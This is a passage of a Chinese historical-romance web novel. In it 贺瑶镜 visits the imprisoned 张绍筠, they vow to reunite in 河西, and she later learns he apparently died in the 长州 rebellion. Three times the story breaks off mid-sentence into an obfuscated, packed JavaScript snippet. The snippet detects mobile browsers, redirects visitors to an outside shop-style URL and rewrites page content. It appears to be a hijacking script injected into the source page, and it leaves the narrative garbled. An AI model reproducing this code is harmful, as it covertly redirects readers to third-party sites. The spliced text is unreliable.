她没有开口的理由,她与张家毫无关系,更不可能令守卫心存怜悯从而放行,只能僵硬地站在原地,看张颂之一次又一次央求守卫,求他们放行。不知过去多久,张颂之的语声已沙哑哽咽,连央求的话语都说得磕磕绊绊,甚至逐渐没了信心。瑶镜在一旁看着这一切,心底亦逐渐冷下来。起初做出这个决定时满腹满心那名为“希望”的火焰,此刻已逐渐走向熄灭,走向那名为“绝望”的无尽深渊。 但在她们濒临绝望之际,萧定权竟出现在了刑部大狱。起初他只淡淡望着她们的方向,没有想出手相助的意思。最后张颂之大概已彻底绝望,她看着萧定权逐渐走远的身影,凄然跪地,高声唤道:“姐夫!” 出身尊贵的东宫回过头来,认认真真地打量着她们。不知过去多久,这才一挥手,守卫听令放行,张颂之如蒙大赦,连忙站起身来,急匆匆向牢内奔去。瑶镜本想随她一起,却见守卫手上的长剑挡在她身前,她不明所以,却见有内官向她走来,尚算客气,却又不容置疑地将她请至一边,只道了声“我家主上有请”,便半是相请,半是迫使地带她去了刑部之中的一间厢房。 瑶镜心中万分疑惑,她踏入厢房之中,却见方才刚在刑部外见到的太子萧定权正坐在主位,垂着眼不知在想些什么。听到她的脚步声,他抬起眼来望着她,神情淡淡,却又夹杂着几分劝诫: “贺将军,不该参与到这件事之中的。” 瑶镜不知他如何知晓自己身份,她先前与这位太子的联系只有寥寥数次宫宴之上,隔着遥远距离的一瞥。但她心中其实清楚,萧定权如此告诫,实则是心存善念,以此提醒她。此次不比上次军马案,如今张家大厦已倾,他放张颂之进刑部那是宅心仁厚,念及两人再难相见而令兄妹见上最后一面,可他若放她进去,凭的又是什么理由呢?他们之间并无婚约,就算两家长辈已然默认,可没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这是瑶镜第一次与这位太子殿下交谈。他与她曾想象过的模样截然不同,威严依旧,可眼底蕴含着深切的悲悯。那种悲悯看似淡不可察,可但凡此刻有人去认真观察他,甚至只消认认真真地看上他一眼,便可以将这眼底蕴含的情绪尽收眼底。 离开之前她最后一次抬眼望去,萧定权依旧合着双目,左手扶着额头,似乎极为疲惫。夕阳自半开的房门照射进来,恰好照在他的右脸之上,而他那神佛般悲怜的另一半面容却隐入黑暗之中,她半分也瞧不清。他那一袭红衣直直端坐的身影在残霞的映射之下显得格外渺小,孤单而又沉寂。 而这亦是她与萧定权的最后一面。靖宁三年,他卷入顾家谋反一案身败名裂,被缚回京不久后便畏罪自裁,身后名亦被毁了个彻底,不过数年,他的名字便再无人敢提。可瑶镜始终对他心存感念,后来她总是想起那个黄昏寂静如斯的厢房,想起她已拼上一切的尝试与请求,还有最后站在黄昏中回过头来,看到的他那被拉得长长的影子。 她不懂皇帝与太子之间的权衡博弈,她也不明白当时太子自戕之时心中究竟想到了什么。她只知道,她与他在刑部之中对话的那个黄昏,他眼中的劝诫,话语中的恻隐,还有最后疲惫而悲悯的阖目,无论是于她还是于张绍筠而言,全都是真的,是上位者对妻舅与红尘中的痴人,最后的轸恤。 15. 关山月(九) 张颂之离开之后,瑶镜被人秘密带入了刑部大狱。她顺着漆黑的道路一直向前,狱外艳阳高照,可随着她逐步向前,她愈发觉得这监牢之内像是被风雨笼罩,她再寻不到半分暖意。 张绍筠扶着牢房的厚重栅栏艰难站立,方才张颂之大概是告诉了他瑶镜前来的事,故而他站得笔直,目不转睛地盯着瑶镜,看着她一步步向他走过来。瑶镜也随着自己的走近而细细打量着他。张绍筠如今发冠已去,颊边散落着凌乱的发丝,手脚也都被镣铐锁住,可那双眼在接触到她目光的那一刹那,亮起了一如往昔的明光。 两人面对面站了半晌,一时间谁都没有说话。瑶镜的手开始微微发颤,张绍筠原本古井无波的神色也逐渐出现变化。最后他缓缓开口,长叹一声,打破了这持续多时的死寂。 他缓了缓方才极为震惊且愕然不已的心情,方才打起精神,发出一声低低的苦笑。 “我第一次后悔当年在罗摩应了你的问话,你回京之后我也不该总借姐姐的名号约你出来的。” 他微叹口气,微微垂下头去,那是瑶镜从未见过的挫败神情,“否则我也不会因此误你四年……如今见到你,我也不会如此痛彻心扉。 “瑶镜,对不起,先前我予你的承诺,此刻怕是都做不到了。”张绍筠终于抬眼看她,眼眶分明是通红的,却愣是没有半分泪落下来,“过去我以为爹爹只是对我严厉,只是醉心官场,故而希望我能成才,如此好不落他刑部尚书、中书令的面子,没想到他因为一己私心,竟做出如此谮害他人的事……现在想想,或许是我前半生太过顺风顺水,天真顽劣,如今才会以如此方式去承受知晓真相的一切后果吧。我真是对不起陆兄,也对不起顾内人……陆姑娘。当初我那般天真,还同她保证日后定会帮她寻到家人,现在想想,她那个时候听我问她那些话,怕是已恨极了我吧——甚至连听我说完都已是好涵养。” 瑶镜已从张念之口中知晓了陆家的事和那位顾内人的真实身份。她只见过顾瑟瑟几面,更是与其半分不熟,此刻也不知该说什么,只是紧抿着唇,拼命摇头。她不知陆文昔当时究竟是何等心境,亦不知她究竟有没有恨过眼前形容憔悴的男子,只是此刻在张绍筠面前,她还哪敢往深了想,哪怕陆文昔当真曾心怀怨恨,此刻也只能全当不怨告知。她无可奈何,只一直摇头,直至眼底溢出了泪。 “我会等你的。”她垂着眼,拼命抑制着话语之中的哽咽,一字一顿,“我不信,我什么都不信——那些人说的混账话,我一个字也不会信。” 她平日向来冷静淡然,此次却忽然失态,张绍筠不由也愣了一下。他沉默着,又是长长叹了口气,隔着铁栏轻轻握住瑶镜的手。瑶镜颤了一下,她怔怔望着他手上的疤痕,还有那已成暗红的血迹。张绍筠的手一如她的手般冰冷,他的掌心全是冷汗,仅仅是微一摩挲,她的掌心便也沾上了淡淡的血痕。 “瑶镜。”她听眼前形容枯槁的人低声说着,带着前所未有的认真与请求,“你该知道,我会落得怎样的结局。” “我会被充军至长州,你我都知道长州是怎样的地方,若仅是旅途,那会是‘长风几万里,吹度玉门关’的壮阔,但若是发配充军至此,那就是如‘将军白发征夫泪’般悲凉的境地。我估计,我是再回不来了。”张绍筠尚属平静的面容随着这番话而渐渐崩塌。 他颤着唇,默了片刻,方才低低道:“你日后,做什么都好,只是莫再记得我。你哥哥那么宠爱你,他不是也快离京了?你可以跟他一起去边塞。还有你爹爹,蜀中向来安定,边关虽苦寒,但你随着你爹爹,总能活得比京城自在很多。” 他自顾自说着,却越说越黯然,眼泪一滴一滴无声地掉落在地,他唇边的笑却愈发耀眼。 “你可以去做任何你想做的事,去实现自己的理想,去锄奸扶弱,去那些你曾心向往之的地方。然后再在行路之中,遇到那个真正与你两心相知的人,经由父母做主,再同他鸾凤和鸣,白头偕老——至于我,我余生也就这样了。你不是对河西心生执念吗?长州可是国朝两关之一,日后你来河西,还是可以去长州见我的,到时候我可以听你说上些往事近况,之前总是你听我喃喃念叨琐事,如今,我也终于可以去做那个听你闲谈的人——这样就很好啊。” 他眨着眼,隐去了眼角的泪光,佯作开心的模样,声音却越来越低:“只是,我那时肯定就没有什么闲暇时间啦。也不知军中那短暂的休沐时长,能否让我——” “你想过我吗?” 一声厉喝,张绍筠的话被极其强硬地打断。他面色显出点点愕然,微张着嘴,看向身前紧盯着她的女子。 “是,我是不愿留在京城,我是心怀行遍天下的理想,可你想过吗?当时我与你说起这些时,说的从来都是‘我们’,你一直都是我的伙伴,我的同路人!你所说的‘我的理想’,是我与你一起许下的心愿,是我想与你一起实现的夙愿!”瑶镜差点被他这番话气得咳嗽出声,她仅仅攥着拳,声音愈发大起来,蓬勃的怒意仿佛足以绵延数里,“是你不喜欢河西吗?是你不喜欢游历吗?你不是曾说你其实极其厌烦京中那些迎来送往的弯弯绕绕,最喜欢意气风发,斗志昂扬地行走天下,你想当一辈子的富贵闲人,你想一辈子和我一起游遍河山,你是都忘记了么? “是,这样的判决于你而言自然最好。家族受难,流放边关,这些都并非你我可改的事,况且中书令确实罪无可赦,你自然觉得未来一眼便能望到头,以此为家族赎罪,如此最好!但我呢?”她浑身打着颤,强撑着抬起手来,重重指向自己的心轮,“你知道我的心意,你也知道我面对认定了的事会是何等执拗。你可以放弃,也可以不在意,但我呢?你已用四年的时间让我习惯你的陪伴,让我对你倾心,如今又要用数十年的岁月令我再一点点将你自我心中剥离开来吗?张绍筠,你究竟有多残忍?” 她手捂着眼,泪水自指间滑落,泣不成声:“你就这样放弃,你让我怎么办?就算是终身充军,那也没禁了通信,无论如何,我总能得知你的消息,我也总还能有些希望。可你——你就这样以心存死志放弃一切,就这样让我们先前的所有奢望都成了梦幻泡影,你让我——我怎么办?” “我……”张绍筠很想说些什么,很想死死抱住眼前的姑娘,很想拭去她的泪,很想告诉她他究竟有多珍惜她,可话至唇边,却只成了支离破碎的一个字。他颤着唇,顿了良久,最终却仍是一句完整的话也说不上来,只能徒劳地攥紧瑶镜的手,“我不能误你一生。” “瑶镜,我累了。我实在不想继续坚持,我也撑不下去了。如今我尚且勉力强撑着,不过是为不堕了身为故家子弟的傲骨,可漫漫余生,我实在不知该如何继续走下去。瑶镜,你我先前都太过天真,随随便便就能许下一生一世的承诺,可你我尚是青春华年,未来数十年风云变幻,沧海桑田,哪能是随随便便就能熬得过来的?” 他叹着气,垂眼轻轻摩挲着瑶镜那双冰冷且微微发着抖的手:“你是天上的明月,是那般美好的女子,你不该被一句空诺桎梏,不该因此耗费一生的岁月。” “一生如何?四年又如何?”瑶镜抬眼看着张绍筠,她双目红肿,想必是难过到了极致,“是拼命抓住这永世难忘的四年值当,还是在漫长的余生中不时回忆值当?” 张绍筠一怔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073519|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我始终不明白,你究竟在担心什么?你怕我日后都浑浑噩噩,走不出来?还是担心我沉溺其中,愁城难解?”瑶镜的泪一滴滴落下来,“有人年近耄耋,生活却平静如水,毫无涟漪;有人或许刚刚花信之年,心底的绚烂回忆却足以用余生一直回忆。你会如何去选?——我宁愿选择后者。” 张绍筠一直沉默着,只看着身前泪凝于睫的瑶镜,半句话也未说,亦是半分未动,不知想到了些什么,神情竟有些微恍惚。 良久后他微偏了头,靠向另一边,低低道:“我们定一个四年之约吧。” 瑶镜眉头微皱,眼中满是不解。 “我们相识四年,那我们便以四年为期,期间你我正常通信,但无论是谁,都不能因此事而颓废难言。我尽力在长州军中做到让所有人都挑不出错,而你,”他顿了一下,“你也要继续追寻你的理想,去看那些你要亲眼一观的壮美河山,去扶弱济贫,扶危济困,去做那些你曾立志要拼尽全力去做的事。 “我会好好活着——阿颂才离京不久,你又有很远的路要走。哪怕是为了你们,我也会好好活着。而瑶镜你,无论何人质疑,无论何人讽刺,你都不要放弃,也不要停下你的脚步。”张绍筠深吸一口气,“如果四年之后你忘记了我,或者觉得你我之间现存的情意不再值得你为之等待,为之坚持,那你便不再来信,我也会将你的一切尽数忘记。但如果,你仍没有的话——那你就来河西吧。我们会在河西再见,无论那时我身处河西何方军中,都会拼尽一切,前来见你一面。” 牢内一片寂静,两个人都于不知不觉间屏息凝神,等着对方、等着自己的下一句话。最终,瑶镜却并未马上回答。她默了一会儿,直起身来,以一种格外温和的目光自整个殿宇梭巡而过,最终停驻在张绍筠眼底眉间。 “八年。” 没来由且无头无尾的一句话,她说的坚定,可张绍筠却一头雾水。他默了半晌,终于开口,今夜首次开口问道:“……什么?” “你我相识是已有四年,但镌刻回忆和忘记曾经岂能相提并论?”她一字一顿的坚定声音虽是不大,却带着一种足以振奋人心的力量,可让山河变色,日月无光,在这空荡监牢之中泛起点点回声,“加上一倍,八年……足够了。若八年后你我当真有所动摇,那便如你所言,我不再去信,你不再回信,一别两宽,各自欢喜。” 此一句如春风化雨,枯木逢春,张绍筠心底的什么东西忽然被它触动。他抬头看着瑶镜,却只见她含泪的目光,透着坚定和安心。 至此,他心中隐约留存的畏惧与懊悔,还有那逐渐浓烈起来的厌世逃名意,终于逐渐褪去。 淡然的伪装终于崩溃,张绍筠猛地伸手,隔着沉重的铁栏拼命向前,紧紧抱住瑶镜。他将整张面庞埋入她温暖的怀中,声音闷闷的,还带着几分哽咽:“我们一定——一定会在河西再见的。” 瑶镜笑着闭上眼,珠泪纷纷而落,她用尽力气将张绍筠抱得更紧,轻轻将手中的柳枝塞入他的掌心。 “我会等你。你说过的,我们会在河西重逢,所以我会等着你。不管你日后是在长州,在嘉峪,又或是离开河西而去镇守其他关城,我都会等着与你的再次相见。不论如何,请你一定、一定要——活下去。” 耳畔又响起当初军马案时,张绍筠那如玩笑般,却又郑重分明的一句“遵法旨”。 而此刻,他在她耳畔低语,同样带着几分笑意,也同样极其郑重,说出的却是: “明日离京,不要来送我。我会带着你的柳枝一起走——这样就当我日后在长州军中的岁月,都会有你的陪伴。” 16. 关山月(十) 与张绍筠一起经历的一切就如同瑶镜生命中的一场梦,梦醒了无痕。他那般突兀地出现在她的生命之中,又那般迅疾地离开。除了那句承诺和心底隐隐的悸动,什么都不曾再留下。 瑶镜的生活重新恢复到了以往的平静。但她却再不像先前一样出府游玩,而是留在家中,读书练字,聊以度日。她甚至拾起了过去向来平庸的绣工,原因无他,只是在凝神刺绣之时,只晃眼之间,一日便已轻易过去。她虽无法如女师所言,将全身心都投入进绣样之中,但好歹能够屏气凝神,让自己更为匆忙,这样,总能让时间过得快些,再快一些,她想到往事的时间也就能少上一些。 她这样在府中自囚了数月,连贺重明都不常见,这终于令他焦急起来,连夜给身在清河的许元英去信,央她前来陪瑶镜一段日子。刚在清河落脚下来的许元英见信立时动身,待她风尘仆仆地赶回汴京,急匆匆冲进瑶镜屋中,却见瑶镜正坐在案前习字,见她前来,她将笔放下,对她轻轻一笑:“阿英,你来啦,我还以为你要再晚些回来。” 她见好友如此,气恼异常,有心想骂醒她,可见瑶镜眼底的乌青,却又不忍如此。想了好久,只憋出这么一句话来:“……你还是忘不掉他。” 至于其他,她也不知还能再说些什么。怒喝斥责将她骂醒吗?从十数年前她们相识起就未曾吵过一次架。赞同她如今的行事做派么?她哪里说得来此等违心之语? “你让我如何忘?”瑶镜抬眼,自顾自为好友倒了杯热茶,“我与他相识四年,一起经历了太多事。若你遇到这样一个在你生命中留下太多不可磨灭痕迹的人,哪怕你们日后极难再见,可你会轻易忘记他吗?” 许元英原本准备了许多话想要接着说下去,可心头那熊熊燃烧的火焰却被瑶镜最后的问话浇灭的彻底。 她沉默良久,方才涩然道:“我不能。” 瑶镜手拢在袖中,好整以暇:“你自己做不到的事,为何还来要求我?” “……说不过你,从小到大,我都说不过你。”她看着在一旁云淡风轻的瑶镜,气了半天,最终却是无奈摇头,自袖中掏出一封信来递给她,“长州的信,我来时恰好遇到你哥哥,他让我转交给你。” 那时瑶镜感受着心底骤然涌上的惊喜,这才意识到,她当真未曾忘却过张绍筠,哪怕是一时半刻。 她忘不了他最初在罗摩族新房之中轻轻扣上她的手心,挑开她盖头时的紧张,她忘不了他在新房之中与她说话闲聊时的清越声音;她忘不了他在京中每次带她出门闲逛,望着她笑容时的心满意足,她忘不了她夤夜前往刑部大狱探望他,他满身血污,答应她不放弃时的晶亮双眼,她也忘不了他最后看着她的眼睛,含泪笑着对她许下诺言。 瑶镜对他有种莫名的信任,她相信他会平安,相信他不会折在长州频繁的战乱兵戈之中,也相信无论他的信是否如期寄来,他们都会在彼此无法相见的广袤天地之中好好活着。她终有一日会见到他,他终有一日眼中会再泛起光芒,他们在牢中咬着牙定下的誓言,彼此之间都会尽全力应诺。 虽然两人天各一方,但至少他会活着,至少她不会忘记他。 瑶镜不知八年之后她究竟能否会忘掉张绍筠,但她知道,此刻她依旧铭记。长州如今虽暂时太平,可充军之人的通信却依然有严格限制,每次通信的时间也间隔很长。他每次发回的信件往往只有寥寥数语,张绍筠又少有文采,不善言辞,每次只会写些他的日常生活,写长州落雪,写河西梵音,写他每日清晨之时,总能听到长州城广济寺内敲响的悠扬钟声。 于是瑶镜便竭尽所能,将自己的回信写得很长。她有意不提纷乱朝局,亦不提京中众人私下都在猜测的,顾氏一族的不甚安分,只写自己平日的事。她最近读的书,念的经文,在寺院中看到的红叶,于汴河畔浸湿的裙角,她事无巨细,一一写在信中,就如同他们还在京中,只是不常见面。 她近来回了嘉荫关,又再往西走出好远,看到了更为苍茫的雪山和壮阔的山上日落。吐蕃人世代生活在此,她来此时恰逢一场大雪,便在吐蕃古寺中停留数日,寺外是仿佛永不止息的清冷风雪,寺内是与中原截然不同的造像与佛灯。瑶镜在佛前闭目,听着法器的轮转声响,又抬起眼来,借着殿内昏黄的酥油灯火远远望着佛像宝冠之上镶嵌的五色宝石。雪霁之后她站在雪山下扬手洒出隆达,迎着逐渐变得深蓝昏黄的天色与逐渐升起的皎洁明月,她有些恍惚地想,在若山下再有荒漠戈壁,那她便会恍惚以为如今已身处河西——张绍筠此刻,也会看到她想象中的那些风景吗? 她那日去了城北的临惠寺,为家人,也为他求了平安。她虔诚闭目,起身时只见一老僧立在一旁,慈眉善目,微笑地看着她。她有些不解,却亦保留了对修行者的尊重,合掌行礼,低声询问他有何要事。谁料那老僧望着她,先是似是而非地念了几句佛偈,而后则对她双手合十,又是一笑,却无言地转身离去。 瑶镜不知何意,只知她燃起的线香在那老僧走后,香烟燃的更盛了。 有公卿人家的公子似是对她有意,托人打听她是否婚配,可有婚约,她心下焦急,想着如何推脱,谁料未待她出面,远在南方的父亲却不知从何处听闻这个消息,直接婉拒了此事——“还是爹爹懂我”,那夜瑶镜这样写道。 如此种种,瑶镜既惆怅,又隐隐有些难过掺杂其中。 她就这样一边按部就班,一直向前过着日子,一边想着张绍筠,直至相思深入骨髓。 瑶镜也在等。等下一封信,等下一年春来,等八年之期的最后一日,等一切好转的那一天。 很多人问过她为何如此坚持,甚至连母亲都问过她同样的话,瑶镜只闭目不言。她也不知自己究竟在等些什么,亦不知为何会那般肯定一切总有好转。她与张绍筠明明才相识四年,明明并未有什么感天动地的誓言,而只是寥寥几语以表相思,况且张绍筠为人明明也并不完美,他虽在她面前已尽力克制,却依旧有太多缺陷,亦做过太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073520|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多令人诟病的事。 可瑶镜这么多年来每每想到张绍筠,脑海中率先出现的只是当时罗摩族的夜,他迎着冲天的火光望着她的眼,还有过去他提及河西时眼中的向往,那时玩笑一般的:“瑶镜,我们或许会在河西再会。” 监牢之中,并非是他们初次提及这样的承诺,瑶镜与张绍筠许下那个诺言已有四年。张绍筠不会食言,她亦是极重诺的人,所以瑶镜必须等下去。 秋意正浓之际,瑶镜收到了张绍筠新寄来的信件。信封破损,笔迹已被黄沙掩盖,似是历经千辛万苦才自长州送抵她的手上。她迫不及待地拆看,信纸只有短短两张,张绍筠告诉她,远在广川的张颂之与正妃姐妹相称,广川郡王也对她不错,她已身怀有孕,他就要当舅舅了。他与读信的瑶镜一样,回想起了当年军马案时,他在牢中了无希望的那一问。 “如今想来,当真是春去秋来,一场大梦。在京城中斗酒纵马的往事如烟尘般,逐渐离我越来越远。所谓空幻,所谓生灭无常,过去不屑于懂,如今却亦是愁城难解。不过已至此时,我这才隐约明白几分《金刚经》中‘一切有为法,如梦幻泡影,如露亦如电,应作如是观’想告诫世人的真正大道。”最后他写道。 瑶镜站在后院呆呆地看了许久的星空,直至浑身被凉风吹得僵直发冷,这才轻轻叹了口气,将信收好,揣入袖中,挪动步子,缓步回了屋。 张家遭难之际张颂之亦未能幸免,连婚仪都不允许操办,只能穿着嫁衣,独身离府,一个人被兵戈护送前往至重重封锁,即将闭门锁户的齐王府,而后又随着广川郡王与广川郡王妃一路远行,直至广川。当初在刑部的那一面便是她们直至如今的最后一面,瑶镜甚至没能同她正式道别。 她先前很是担心张颂之因此受到委屈,或被广川郡王迁怒,或被正妃挤兑,张绍筠先前更是担心,可他自身难保,根本做不了什么,只能在每日清晨听到梵钟声响时闭目祈祷,愿诸天神佛庇佑他的妹妹,护佑他在这世上最后的血脉至亲。 如今知晓张颂之非但生活安定,且还有了身孕,瑶镜真的很开心。 张陆正已然伏诛,张家的三个儿女一个已逝,一个远走,另一个在长州苦苦煎熬。瑶镜不知现今这样的结果能否让两个活着的人日后在冥府少些磨难,只知晓无论他们的亲人犯下再大的罪业,如今日子仍在向前,他们该承担的也已然足够。 如今下一代人即将出世,或许十余年后,他会如他舅舅一般,在广川鲜衣怒马,潇洒自在,又或许会如他的娘亲,秉节持重,灵动温和。无论怎样,属于张家的羁绊仍在,只要他们还念着对方,还活得力所能及的安定,这样的牵挂便是最牢固的纽带,永远让他们在一起。 如今瑶镜只希望,所有人都能继续向前。不要再固执地留在过去,尽管留恋,但无论何人,都应继续向前走。 如此,一月一月的时光过得飞快,转眼间,离靖宁三年元日已然越来越近。瑶镜也当真就这样平静地过了近一年。 17. 关山月(十一) 瑶镜没有想到,那封满是风沙尘土的信,居然是她收到的有关张绍筠的最后消息。 那段时间发生了太多事。贺重明变得匆忙起来,常常数日不归家,待叔父问起,却又搪塞而过,更是没有同瑶镜提上半句。秋意刚浓之时,武德侯顾思林壮烈殉国的消息亦为天下人共知,皇太子奉陛下圣旨,前去长州迎柩。瑶镜原本只为武德侯的殉国而落寞伤怀,至于太子离京,她只当是寻常,并未觉得有何异样——毕竟皇位之上的人是他的父亲,而埋骨沙场的人是他的舅舅,都是他血浓于水的至亲,于情于理,都不该有人在此刻将他拉入谜局。 谁料她仍是太过天真,从未想过,这世间有太多事是永远无法被世俗琐事拘得住,也永远无法被凡俗之人所轻易料到的——世事无常,兵戈无眼,河西一带本就是兵家必争,或许无论何时,都必然会有这一劫难。 在太子抵达长州城的当天,这座古老的关塞就乱起来了。 河阳侯顾逢恩挟持御史,杀天子亲卫,斩长州刺史,以清君侧之名偕同长州承州近十万驻军及顾氏亲卫于长州关城起兵,欲携太子一同杀回京师,谋夺帝位。那一战天地为之变色,日月为之无光,战火席卷了整个河西,更有燎原之势,好似马上便能入塞进关,直捣黄龙。谁料皇太子却与河阳侯临阵反目,两人于长州关城对峙,大军压境之下,这一场声势浩大的谋逆之乱竟就这样无果而终。 皇太子被废,被一道诏书锁拿回京,河阳侯顾逢恩畏罪自裁,曾经显赫的顾氏一族自此飘零四散,近乎族灭。而长州驻军也已死伤大半,余下的残兵败将尽数收押,留待后续论罪惩处。 最初听到这个消息时瑶镜还曾自我安慰,言道张绍筠又不通武艺,且还憨厚迟钝,被充作叛军前锋这种事定然轮不到他头上,可此后不久她便接到消息,张绍筠所在的行伍已全军覆没,虽如今长州的善后工作尚未结束,尸身也未待收殓,可他业已身死魂灭似乎已是所有人都默认的结局。 听到这里时,瑶镜竟轻笑出声。她浑身颤的厉害,眼圈分明是通红的,却愣是没有半分泪落下来。 就算到了此时,她依然是有些迷茫的。她不知道为何这一切会以如此令人难料而又突然的方式一并发生,亦不知道为何上一刻还诸事顺利,所有人都已尽力忘却往昔的伤痛,拼命向前走去,可下一刻一切却都如被一只无形大手用力翻转,所有的事都翻天覆地的变了一回。 怎么可能呢?她想,张绍筠怎么可能死呢? 明明最初见到他时他是那般意气风发,正是大展身手的年纪。他与她一起离开罗摩,看向她的那一眼是那般的令人安心。明明上一封信里他还在调侃自己如今已逐渐适应繁重的军旅生活,感慨自己将要当舅舅了,明明他们在一起这么久,他的运气一直都很好,就算已被打入狱中,也能安然无恙地再走出来。 可他们告诉她张绍筠死了。 他怎么可能就这么离开呢?瑶镜无意识地摇着头,仍是不能相信——或者说,是固执的不肯相信。 前些日子她还同他寄了信,笑着说元英如今愈发清闲,总是来找她闲聊,实则她也知道好友是想让她更开心些,说她们都想着日后要去河西,连元英都很喜欢那里。那时的长州虽暗流涌动,但于百姓而言,明明仍是太平无虞的,可谁能想到不久之后便是如此局面…… 贺重明担心她的状态,甚至害怕她会想不开,可她面上一切如常,亦不曾有更多旁的举动。她只是呆呆地靠在床边,头转向另一侧,疲惫不堪地出声逐客:“哥哥,我累了。” 如此浑浑噩噩了许多天,昼夜颠倒,无休无止,瑶镜已不知自己这样渡过了多少日夜,也不知这段时间以来有谁来见过她,有谁同她说了什么话。待她终于自漫长的混沌中抽身出来时,首先想到的却仍是方才想起的那个他们过去的约定——再没有可能兑现的那个约定。 那时瑶镜忽然决定,她要亲自去一趟长州。 又或许说,她必须去一趟长州。这是她和张绍筠的约定,这是支撑他们走下去的关键所在,因为这样的约定瑶镜才能在这一年里继续实现自己的理想,也是因为这样的约定,张绍筠才能坚持着与她写信——尽管他信中所言基本都是报喜不报忧,只说些令人发笑的事。 无论生死,无论胜败,这一局的终点不该在京城,而应该在长州。她不该继续在京城等下去,她得去找他——她得去那个他们曾无数次笑言,要在那里重逢的河西边关,去那里迎接自己最后的结局。况且如今长州善后未完,张绍筠仍是以失踪作结,或许一切还有希望,哪怕只是微乎其微,她也不该就这样错失能见到他的最后机会。 这件事决定得突兀,可瑶镜却极为坚定。她几乎是拼着仅存的些微精力去准备一切,从需要携带的东西,到如何瞒过家中亲人,再到离开之后如何托元英为她遮掩善后。万事俱备之时,她趁着一夜月朗星稀,家中寂静,轻轻拿上包袱,又拿起剑架上几乎没被她拿出家门过的长剑,最后看了一眼自己的房间,毫不回头地向外走去。 谁料还没走出几步,瑶镜就听到有人在她不远处冷冷出声:“贺瑶镜。” 是从未被家人唤起的全名,是从未听过的冰冷声音。 她猛地僵在了那里,脸色“刷”的一下变了个彻底,本是有几分复杂的神情也骤然变成了无与伦比的惊讶,甚至还有几分淡淡的恐惧。她就那么僵在了那里,不言也不动,甚至连呼吸都微不可闻,好像心头所思所想尽数被人洞悉得彻底。 瑶镜几乎是瞬间便想到了那最有可能,亦是最坏的结果。原本握着剑的手不知不觉间收紧,袖口的衣料也被她的另一只手紧紧抓住,手心生疼。她僵着身子,一点一点地朝着声音传来的那个方向哆哆嗦嗦地转过头去。 明明只是一刹那的工夫,可瑶镜却感觉十分漫长。她的心跳动得愈发剧烈,在寂静的庭院和如今这略显诡异与不安的气氛衬托之下听起来尤为响亮,仿佛下一刻,便当真会跳离她的身体。她知道自己此次出师不利,运气极差,因为她最不愿见到的事如今已然发生。 贺重明穿了身石青圆领窄袖袍,站在距瑶镜不远的地方,不言也不动。夜风吹过,衣袂翻飞,袍服宽大的下摆亦被风吹拂而起,飘飞开来。他就那样站在那里,神情隐在夜色之中,那与瑶镜对视的双眼深邃得好似无底无边的潭水,其中却并未蕴含任何表情。 他紧锁着眉,沉默良久,方才叹息一般道:“……你不该去。” 他甚至没有问一句话,便已猜出了瑶镜的心思。 “兄长。”瑶镜终于止住了颤抖和心中对即将到来的雷霆暴雨的恐惧,在夜风中抬起眼来,衣袖被风吹得猎猎作响。她在汴京初冬少有的寒风中叹息,握着剑的手微微紧了几分力道,对着眼前的男子又一次用了这样正式的称呼,“您该知道,您拦不住我的。” 她甚至用了极少使用的敬称。 又是少顷沉默。贺重明抬眼看她,目光沉沉,于暗夜之中却是看不清其间深意。他缓缓开口,语声却并无瑶镜本以为的怒气勃然或是不可置信,而只是平静淡然,仿佛这是十分正常的一件事:“如果我今夜就是不让你出这个门,你该当如何?” 瑶镜默然不语。 她当然不能如何。贺重明今夜出现在这里,便足以表明他对此事是何态度,她的剑法是贺重明亲自教授,还只会几招堪称三脚猫的拙劣功夫,面对武艺高强的兄长可以说毫无胜算。况且无论面临怎样的局面,她都绝不会对至亲出手,甚至连这样的念头都不会有,带上那把剑只是为了以防途中万一,如今在此处,连鞘都不会出。 “我不知道……”她支吾无言,艰难地开口,语声苦涩而低沉,“我甚至不知道就算我离开京城,去了河西,又能怎样。长州顾氏所犯之罪是谋逆,一旦与其沾上关系便绝无生还可能——但我至少应该知道他现在究竟……是生是死。他若生还,我去见他,实则是在救他出苦海;他若已然身故,难道要让他就此客死异乡吗?我不信旁人道听途说,当初我们于牢中道别,我从不认为那便是我们的最后一面,我亦不信撑着一口气等他一年,最后却只落得一句‘失踪于战乱’的结局。 “是,他是纨绔,他是胸无点墨,亦无大志,放眼京城贵胄,只怕都很难有谁真正自心底尊重他。甚至有时我也会暗地里想,是该让他受些教训,否则日后他变本加厉,迟早会出问题。但他的为人,其实并不坏。” 瑶镜合上眼,静默良久,深吸一口气,这才又慢慢睁开眼:“我见过他用身上所有的钱救助街边的乞儿,结果回府后被他父亲训斥许久,他会在旁人欺凌市集上卖糖葫芦的小姑娘时出言维护,在不知顾内人真实身份时曾想过帮她寻找亲人,好让她眉宇能舒展些许,别再漾着愁绪。他还会帮道旁背负重物的老者分担大半,哪怕自己的力气也不算大……他父亲曾犯下的罪业他从未参与,甚至最初都不甚知情,就算是需承担家族之罪的连坐责任,流放长州受尽苦寒已经够了。他不该,不该……” 